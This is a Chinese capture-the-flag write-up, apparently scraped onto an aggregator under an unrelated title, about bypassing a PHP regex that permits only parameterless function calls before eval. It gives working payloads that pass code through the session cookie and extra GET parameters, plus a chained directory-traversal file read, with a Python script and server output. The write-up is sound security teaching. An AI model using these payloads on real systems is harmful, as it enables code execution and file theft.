hex editor怎么搜索代码_代码审计从入门到放弃(三) phplimit
原創: 一葉飄零 合天智匯
前言
接著前面的代碼審計從入門到放棄(一) & function、代碼審計從入門到放棄(二) & pcrewaf
本次是phplimit這道題,本篇文章提供了3種解法,即如何利用無參數函數進行RCE/任意文件讀取
題目概述
題目源碼如下:
<?phpif (';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {eval($_GET['code']);} else {show_source(__FILE__);}代碼非常清晰,首先
preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])代碼會將$_GET['code']中滿足正則/[^W]+((?R)?)/的部分,替換為空,然后查看是否剩下的部分強等于;
如果滿足,則執行
eval($_GET['code']);否則什么都不做。那么思路很明確,我們弄清楚正則即可進行RCE
[^W]+((?R)?)首先是[^W]
對于W,其意思等價于[^A-Za-z0-9_]。
那么我們知道,我們的input必須以此開頭
然后是括號匹配
( ...... )括號中間為
(?R)?意思為重復整個模式
簡單理解,我們可以輸入以下類型
a(b(c()))但我們不能加參數,否則將無法匹配
a(c,d)所以正則看完,題目的意思非常明確了:
我們只能input函數,但函數中不能使用參數,否則判斷句右邊經過替換,將不止剩余分號;
漏洞點分析
那么有沒有辦法通過無參數函數,達到RCE的目的呢?答案顯然是不可能的,沒有參數,怎么傳遞我們需要執行的指令呢?
所以我們的目標也變得很明確:通過某種無參數函數獲取指定位置的變量value,達到RCE的目的。
那么哪里有我們可以控制的變量,并且還能通過無參數函數獲取到呢?
那么思路又變得清晰了,http header就是我們的突破口。我們可以更改header中的各項屬性,以及其value。
那么有沒有函數可以函數http header呢?
我們在php手冊中直接搜索
能用的手段很多,例如
getallheaders()file_get_contents(array_pop(apache_request_headers()))但如果我們測試的話,會發現均不可用,因為其為Apache函數
但我們看當前題目
< HTTP/1.1 200 OK< Server: nginx/1.15.9< Date: Sun, 10 Mar 2019 05:24:56 GMT< Content-Type: text/html; charset=utf-8< Transfer-Encoding: chunked< Connection: keep-alive< X-Powered-By: PHP/5.6.40<其是nginx,所以之前的方式均無效了。
尋找nginx函數
那么現在思路又進一步變為:尋找nginx函數,以獲取http headers
查閱php手冊,并未發現相關可利用函數,于是此路終止。
那不能獲取http headers怎么辦?我們又該如何進行參數的傳遞?
這里我們可以轉換一下思路,之間獲取http headers,我們能獲取非常多的屬性,也就是說我們的可修改位置非常多,相當于一個面。但其實我們只要能夠獲取,并修改1條屬性就夠了,例如cookie或是X-Forward-For等等……
這樣就相當于從尋找一個面變成尋找一個點,難易程度就會大幅下降。
那么最容易想到的應該就是cookie了
法1
我們在php手冊中,搜索cookie
我們點入session中,可以發現這樣一個函數
session_id ([ string $id ] ) : stringsession_id() 可以用來獲取/設置當前會話 ID。
那么我們可以用此方法來獲取phpsessionid,并且phpsessionid可控
但其有限制如下
文件會話管理器僅允許會話 ID 中使用以下字符:a-z A-Z 0-9 ,(逗號)和 - 減號)
但問題不大,實際上我們只要擁有
0-9,a-f就夠了,因為我們可以將16進制轉字符串,例如
>>> print 'echo "sky cool";'.encode('hex')6563686f2022736b7920636f6f6c223bphp > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));sky cool我們可以看到,成功的執行命令
也就是說,我們只要使用
eval(hex2bin(session_id()));即可執行任意命令
但是當前題目并沒有開啟session_start()
所以我們這里輸入如下即可
hex2bin(session_id(session_start()))我們編寫腳本
import requestsurl = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'payload = "echo 'sky cool';".encode('hex')cookies = {'PHPSESSID':payload}r = requests.get(url=url,cookies=cookies)print r.content那么下面就是找flag即可
payload = "var_dump(scandir('./'));".encode('hex')array(3) {[0]=>string(1) "."[1]=>string(2) ".."[2]=>string(9) "index.php"}payload = "var_dump(scandir('../'));".encode('hex')array(4) {[0]=>string(1) "."[1]=>string(2) ".."[2]=>string(14) "flag_phpbyp4ss"[3]=>string(4) "html"}payload = "var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"最后可以成功getflag:
flag{e86963ba34687d269b9faf526ce68cd7}法2
我們通過php session的控制,達成了RCE的目的,那么我們有沒有其他類似的方法呢?
答案是肯定的,我們還可以通過我們傳遞的參數來進行RCE
有如下函數
get_defined_vars()此函數返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。
我們測試一下
http://localhost/?code=var_dump(get_defined_vars());&a=2得到回顯
array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined_vars());" ["a"]=> string(1) "2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }那么如何將里面的
["a"]=> string(1) "2"提取出來呢?
這里有一系列提取位置的函數,我們首先使用current()函數
得到回顯
?code=var_dump(current(get_defined_vars()));&a=2array(2) { ["code"]=> string(38) "var_dump(current(get_defined_vars()));" ["a"]=> string(1) "2" }我們再取這個數組的最后一個
?code=var_dump(end(current(get_defined_vars())));&a=2string(1) "2"即得到了回顯。
那么后面就比較簡單了,控制a進行RCE即可
?code=eval(end(current(get_defined_vars())));&a=phpinfo();然后getflag
?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}法3
為什么一定要RCE呢?這個題既然flag放在文件里,我們能不能直接讀文件就行?
之前的方法都基于可以進行RCE,可以說我們是把題目難度又加大了,實際上,我們只進行任意文件讀取即可
那么想讀文件,就必須進行目錄遍歷,沒有參數,怎么進行目錄遍歷呢?
首先,我們可以利用getcwd()獲取當前目錄
?code=var_dump(getcwd());string(13) "/var/www/html"那么怎么進行當前目錄的目錄遍歷呢?
這里用scandir()即可
?code=var_dump(scandir(getcwd()));array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }那么既然不在這一層目錄,如何進行目錄上跳呢?
我們用dirname()即可
?code=var_dump(scandir(dirname(getcwd())));array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }即可發現flag文件,那么問題又回到之前,如果取數組指定位置的值,我們需要取的位置是第3個,我們有的方法如下
current() 取第一個
next() 取第二個
end() 取最后一個
那么怎么取第三個呢?
我們這里讓數組倒敘,然后取第二個即可
?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));string(14) "flag_phpbyp4ss"那么讀文件
?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1發現報錯了,我們找不到這個文件,因為沒有../上跳呀,這該怎么辦呢?
這里我們發現有函數可以更改當前目錄
chdir ( string $directory ) : bool將 PHP 的當前目錄改為 directory。
所以我們這里在
dirname(getcwd())進行如下設置即可
chdir(dirname(getcwd()))這樣我們的當前目錄就在/var/www下了
但此時,我們的值變為了bool值,我們為了遍歷目錄,需要讓他變回來,所以我們先進行目錄上跳
var_dump(dirname(chdir(dirname(getcwd()))));string(1) "."再列目錄
var_dump(scandir(dirname(chdir(dirname(getcwd())))));array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }然后就回到了之前的問題了,我們直接取文件,讀取即可
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}小結
這種開放式的題目非常有趣,可以幫助我們了解許多php黑魔法和各種組合,我相信方法遠不止這3種,歡迎各位討論
相關實驗操作
1. PHP腳本語言基礎:學會基礎的PHP編程
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001
2. Nginx代碼執行和目錄跨越漏洞:熟悉目錄跨越的成因和攻擊利用
http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001
本文為合天原創,未經允許,嚴禁轉載。
總結
以上是生活随笔為你收集整理的hex editor怎么搜索代码_代码审计从入门到放弃(三) phplimit的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: EXE.DLL文件图标导出器[免费下载]
- 下一篇: PHP new self什么,php n